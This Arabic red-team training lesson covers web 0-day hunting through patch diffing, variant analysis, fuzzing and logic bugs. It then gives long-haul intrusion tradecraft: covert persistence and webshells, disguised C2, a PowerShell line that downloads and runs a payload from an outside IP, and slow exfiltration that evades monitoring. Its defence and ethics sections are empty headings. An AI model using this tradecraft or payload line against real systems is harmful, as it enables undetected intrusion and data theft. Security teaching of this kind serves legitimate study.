اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

Web Vulnerability Research — تصطاد 0-day بإيدك

Variant analysis و Patch diffing و Fuzzing — وعمليات بتمتد شهور

المستوى
خبير
المدة
120m
الترتيب
الدرس 66 من 85
0-dayVariant AnalysisPatch DiffingFuzzingLong-Haul

ليه الدرس ده مختلف؟

تشبيه يقرّب الفكرة
الفرق بين اللي بيقرا CVEs والباحث الحقيقي زي الفرق بين اللي بيقرا الجرايد والمحقق الجنائي. الأول عارف اللي حصل. التاني عارف اللي هيحصل — لأنه بيقرا الكود قبل ما الخصم يقراه. - طب أنا لسه junior يا حضرتك، أبدأ منين؟؟ ابدأ من اللي محدش حابب يبدأ منه يا مستجد: قراءة الكود. مش fuzzer. مش tool. كود. بنسبة 99% أول bug جدي هتلاقيه هيكون من commit واحد قريته بعنايا، مش من scanner شغّلته 10 ساعات.

الدروس اللي فاتت (web-attacks، advanced-web، web-redteam-deep) علّمتك إزاي تستغل ثغرات معروفة. الدرس ده هيعلّمك إزاي تلاقي ثغرة محدش اكتشفها لسه، وإزاي تفضل جوه الهدف شهور من غير ما حد ياخد باله.

دي المهارة الحقيقية لفرق العمليات المصرّحة فيدرالياً — لأن الثغرة الجديدة مفيش لها توقيعات IDS، وبتديك وصول قبل ما حد يكتب الـ patch أصلاً. مفيش طريق أقصر من ده.

منهجية البحث — هرم الإيجاد

الباحثين الجادين مش بيبدأوا بـ fuzzer عشوائي. بيمشوا في هرم — كل طبقة أرخص بكتير من اللي بعدها. ابدأ من فوق ولأسفل:

1) قراءة المصدر — أرخص طبقة
لو الكود مفتوح، اقرأه. 40% من ثغرات الويب الحديثة تُكتشف بقراءة git diff لـ commit واحد. ركّز على: parsers، deserializers، URL handlers، template engines، authz middleware.
2) Patch Diffing — استخرج الثغرة من الإصلاح
كل patch أمني يكشف عن ثغرتين: المُصلَحة، و المنسية. قارن قبل/بعد، حدّد التحقق المُضاف، وابحث عن كل مكان آخر يفتقد نفس التحقق.
3) Variant Analysis — التوسع الأفقي
ثغرة واحدة = نمط. ابحث عن نفس النمط في 50 مكان آخر. Project Zero بنى سمعته على هذا — ثغرة type confusion واحدة في V8 أنتجت 12 CVE.
4) Targeted Fuzzing — للحالات المعقدة
بعد فهم البنية. harness مخصص للهدف، ليس wfuzz على endpoint. القيمة في الـ corpus، لا الأداة.
5) Specification Auditing — أعمق طبقة
اقرأ RFCs بعين عدائية. Request smuggling اكتشف لأن باحثاً قرأ RFC 7230 وفهم أن CL وTE لا يتفقان عند البروكسي. ثغرات بمليار دولار من قراءة وثيقة.
6) Logic Hunting — لا أداة تجدها
ثغرات منطق العمل (race conditions في الدفع، state machine flaws، authorization bypasses). يدوية بحتة. أعلى ROI في bug bounties الكبيرة.

Patch Diffing عملياً — الطريق الأقصر للـ n-day

أكتر من 60% من "الـ 0-days" اللي بيستخدمها مهاجمين الدول دي مش 0-days أصلاً — هي n-days. ثغرات طلعلها patch بس الضحية ما حدّثش. الفرق بينك وبين APT هو مين بيقرا الـ patch أسرع. اللعبة في السرعة.

1
أمسك الـ commit الأمني

راقب: github.com/<vendor>/<product>/security/advisories، رسائل oss-security@، وملفات CHANGELOG. كلمات تستحق التنبيه: sanitize, escape, validate, auth, bypass, regression, CVE.

2
أعد بناء النسختين
$ git clone https://github.com/vendor/product && cd product
$ git checkout v1.2.3-vulnerable && docker build -t vuln .
$ git checkout v1.2.4-patched && docker build -t safe .
$ # الفرق فقط — السطور التي أُضيفت كحماية:
$ git diff v1.2.3-vulnerable v1.2.4-patched -- '*.py' '*.go' '*.ts'
3
عكس الـ patch إلى trigger

كل سطر تحقق مُضاف يجيب على سؤال: "ما المدخل الذي كان يكسر هذا؟". لو رأيت if (user.id != session.id) reject()، الـ trigger هو طلب يستخدم session واحدة وuser id آخر.

4
تحقق من الـ regression

كثير من الـ patches ناقصة. لو أصلحوا /api/users/<id>، تحقق من /api/v2/users/<id> و/internal/users/<id> و/admin/users?id=. غالباً واحد منها نُسي.

Variant Analysis — كيف تحوّل ثغرة إلى عشر

لما تلاقي ثغرة، اسأل تلات أسئلة فوراً قبل ما تكتب التقرير:

  1. حصلت ليه؟ إيه الفرضية الغلط في دماغ المطوّر؟ (مثلاً: "الـ URL parser بيشوف نفس اللي عيني بتشوفه").
  2. الفرضية دي متكررة فين تاني؟ grep لنفس النمط في الـ codebase وفي مشاريع منافسة.
  3. إيه الـ root API الضعيف؟ لو الموضوع في urllib.parse نفسها، يبقى كل مشروع بيستخدمها معرّض. اطلع للجذر.
bash
# نمط CodeQL لإيجاد كل deserialization غير مؤمن في الـ codebase:
# (مثال تعليمي — استبدل بالنوع المناسب لمنتجك)
import python
from Call call, Name name
where
  name.getId() = "pickle.loads" and
  call.getFunc().(Attribute).getAttr() = name.getId() and
  not exists(IfStmt guard | guard.getAChild*() = call)
select call, "Unguarded pickle.loads — RCE primitive"

بناء Fuzzing Harness للويب — ليس wfuzz

الـ fuzzing الفعّال للويب ليس "ضع كل payload على كل parameter". هو: اعزل المكوّن، صفّه structure-aware، راقب التغطية.

Coverage-Guided
AFL++, libFuzzer, restler-fuzzer لـ APIs. ميزتها: تعرف متى دخلت branch جديد، فلا تضيع وقتاً على مدخلات تكافئ.
Grammar-Based
Domato لـ DOM، Boofuzz لـ بروتوكولات. ضروري لمدخلات منظمة (HTTP/2, WebSocket frames).
Differential
أرسل نفس الـ payload لمحلّلَين (مثلاً Apache + Nginx، أو HAProxy + خلفية). كل اختلاف = ثغرة محتملة (request smuggling، parser confusion).
Stateful Web Fuzzing
RESTler من Microsoft. يقرأ OpenAPI، يبني grammar، يجرّب تسلسلات (POST → GET → PATCH) ليصل إلى حالات لا يصلها fuzzer بدون state.
bash
# مثال harness بسيط لـ JSON parser ضمن تطبيق Node.js:
# (هذا للمكتبة التي تملكها أو لها bug bounty)
npm i -D @jazzer.js/core
cat > fuzz.js <<'EOF'
const { parseUserInput } = require("./src/api");
module.exports.fuzz = (data) => {
  try { parseUserInput(data.toString()); }
  catch (e) {
    if (e instanceof TypeError && /Cannot read.*undefined/.test(e.message)) throw e;
  }
};
EOF
npx jazzer fuzz --sync

Logic Bugs — حيث لا أداة تساعدك

أعلى bounties (Apple $500k، Meta $300k) تأتي من ثغرات منطق، ليس injection. لا fuzzer يجدها. إليك أنماط مثبّتة:

  • State machine confusion: هل يمكن استدعاء /checkout/finalize قبل /checkout/pay؟ أنظمة الدفع بنيت على افتراض تسلسل.
  • TOCTOU في الويب: يقرأ السيرفر صلاحية، تتغير، ثم يستخدمها. race window بـ HTTP/2 multiplexing تصل لأقل من 1ms — وحدها Burp Turbo Intruder "single packet attack" كافية لاستغلالها.
  • Delegation flaws: الـ microservice A يثق أن B تحقق من الـ user؛ B يثق بـ A. لا أحد يتحقق فعلياً.
  • Currency/quantity rounding: اشترِ بـ -1 من المنتج، استرد المال 0، رصيدك زاد. (استُخدم على Starbucks 2015، PayPal 2018).
  • Reset poisoning: توكن إعادة كلمة السر يحوي header قابل للحقن (Host header injection) → ترسل الرابط لنطاقك → استلام التوكن.

ابتكار ثغرة عندما لا توجد — التفكير الخصومي

أحياناً الكود نظيف. الثغرة في بنية النظام:

  1. اكتب نموذج التهديد للهدف من الذاكرة، لا تنظر للكود. ما الفرضيات؟ (مثلاً: "CDN يمنع IP غير مدرج").
  2. اقتل كل فرضية واحدة-واحدة. هل يمكن تجاوز CDN عبر origin مكشوف؟ هل يمكن خداع الـ allow-list بـ DNS rebinding؟
  3. اربط primitives صغيرة. CRLF + open redirect + cache بدون keying = SSRF لكامل CDN. كل جزء وحده "لا يستحق الإبلاغ"؛ مجتمعة = critical.
  4. اقرأ المنشورات الأكاديمية. USENIX Security, IEEE S&P, BlackHat USA. تقنيات تظهر فيها قبل سنتين من ظهورها في bug bounties.

عمليات الإقامة الطويلة — Long-Haul Tradecraft

اكتشاف الثغرة هو 20% من العملية. الـ 80% الباقية: كيف تبقى داخل الشبكة 6-18 شهراً دون أن يُكتشف وجودك. هذا ما يميّز APT عن "script kiddie لديه CVE".

تشبيه يقرّب الفكرة
الـ smash-and-grab يدخل، يأخذ، يخرج. الـ long-haul يدخل، يصبح جزءاً من البنية، يخرج المعلومة عبر سنة. الفرق كالفرق بين سارق محل واستخباراتي مزروع.

مبادئ الـ Long-Haul الستة

1
Living Off the Land — لا تجلب أدواتك

كل ثنائية تسقطها = توقيع. استخدم ما هو موجود: curl, wget, certutil, bitsadmin, schtasks, wmic, PowerShell, sudo, cron, systemd. الويبشل الأمثل في 2026 ليس c99.php — هو سطر واحد مدفون في ملف JSON إعدادات.

2
Persistence بدون "persistence"

تجنب autoruns, services, scheduled tasks الواضحة. بدلاً منها: عدّل ملف .bashrc لخدمة، أضف صفحة إلى Confluence/SharePoint داخلية فيها webshell، أنشئ Lambda بصلاحيات IAM دائمة، عدّل قالب CloudFormation. هذه "مرئية" لكن لا تثير alerts.

3
C2 يبدو كـ traffic عادي
$ # سيء — يُكتشف خلال أيام:
$ powershell IEX (New-Object Net.WebClient).DownloadString('http://1.2.3.4:8080/payload')
$ # جيد — يبدو كـ M365 sync:
$ # domain fronting عبر Azure Front Door إلى bucket تحت سيطرتك،
$ # beacon كل 4 ساعات بـ jitter ±25%، حجم متغير، أوقات العمل فقط

قواعد ذهبية: (أ) لا beacon ثابت الفترة، (ب) تجنب IPs، استخدم نطاقات بسمعة (ج) TLS بشهادة LetsEncrypt حقيقية على نطاق "ممل" مسجّل قبل 6 أشهر، (د) شغّل beacon فقط داخل ساعات عمل المنطقة الزمنية للهدف.

4
Dormancy — التخفي عبر الانقطاع

الـ implant الذكي ينام أسابيع. Volt Typhoon (CCP APT المُتهم باختراق بنى تحتية أمريكية حرجة) بقي خاملاً 5 سنوات في بعض الأهداف. التفعيل عبر trigger خارجي (مثلاً تغريدة بـ hash معين، أو سجل DNS TXT يتحدث).

5
Tiered Access — لا تستخدم وصولك الأعمق

اقسم وصولك ثلاث طبقات: (1) recon — IP عبر VPN عام، يمكن أن يحرق، (2) operational — تستخدمه لجمع المعلومات، (3) crown jewel — لا يُستخدم إلا لاستخراج البيانات الحاسمة، مرة كل أشهر. حرق طبقة 1 لا يكشف 2 أو 3.

6
OPSEC اللغوي والثقافي

تعليقات في الكود، رسائل خطأ، أسماء ملفات، أوقات النشاط، حتى ترتيب لوحة المفاتيح — كل واحد يخون الجنسية. APT الأمريكية وُصفت بأنها "الوحيدة التي ترسل beacons في الإجازات الأمريكية لا الصينية". (راجع Equation Group leaks).

استخراج البيانات بدون أن يُلاحظ

  • تجزئة + تشفير + استبطاء: 100GB على 90 يوم بمعدل 12MB/ساعة لا يُلاحظ في معظم بيئات.
  • قنوات شرعية: ارفع البيانات إلى Google Drive/Dropbox/OneDrive بحساب enterprise "منسي". DLP غالباً تتسامح مع وجهات الـ SaaS المعروفة.
  • DNS exfil كملاذ أخير فقط؛ بطيء وصاخب لو قارنته بـ HTTPS لخدمة معروفة.
  • Steganography داخل صور تُرفع لمنصات تواصل اجتماعي شرعية (مع الحذر من إعادة الترميز).

الحماية — كيف يصطاد المدافع البارع كل ما سبق

الخط الأخلاقي والقانوني — قبل أن تبدأ

مراجع للتعمق

  • "A Bug Hunter's Diary" — Tobias Klein
  • Project Zero blog (googleprojectzero.blogspot.com) — كل تقرير دراسة كاملة في variant analysis
  • PortSwigger Research — James Kettle et al. — تقنيات ويب جديدة سنوياً
  • CISA Hunting Playbooks وFBI/CISA joint advisories — كيف تُكتشف العمليات طويلة المدى فعلياً
  • Mandiant M-Trends السنوي — متوسط dwell time العالمي وكيف يتطور
  • USENIX Security & IEEE S&P proceedings — أبحاث أكاديمية تسبق الصناعة بسنتين
خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.